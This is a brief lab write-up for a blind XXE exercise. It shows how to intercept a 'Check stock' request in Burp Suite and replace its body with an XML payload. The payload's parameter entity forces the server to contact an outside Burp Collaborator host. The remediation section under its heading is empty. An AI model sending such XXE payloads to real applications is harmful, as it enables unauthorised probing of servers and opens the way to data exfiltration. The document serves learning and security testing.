SCENARIO

The application is vulnerable to XXE out of band interaction as it has a "Check stock" feature that parses XML input but does not display any unexpected values, and blocks requests containing regular external entities. We will use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

**PROCEDURE**

1. Open the web application and visit any product page.
2. Send a Check Stock request and intercept the POST request in BurpSuite’s Proxy tab.
3. Replace the XML body of the request in BurpSuite’s Repeater with the Payload.
4. Now click Poll Now in the BurpSuite’s Collaborator Client and we see that we successfully forced the application to make an out of band interaction.

**PAYLOAD**

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE stockCheck [

<!ENTITY % xxe SYSTEM "http://3w0co0vuo2ft7atcu3ydqasvnmtch1.burpcollaborator.net">

%xxe;

]>

<stockCheck>

<productId>1</productId>

<storeId>1</storeId>

</stockCheck>

# REMEDIATION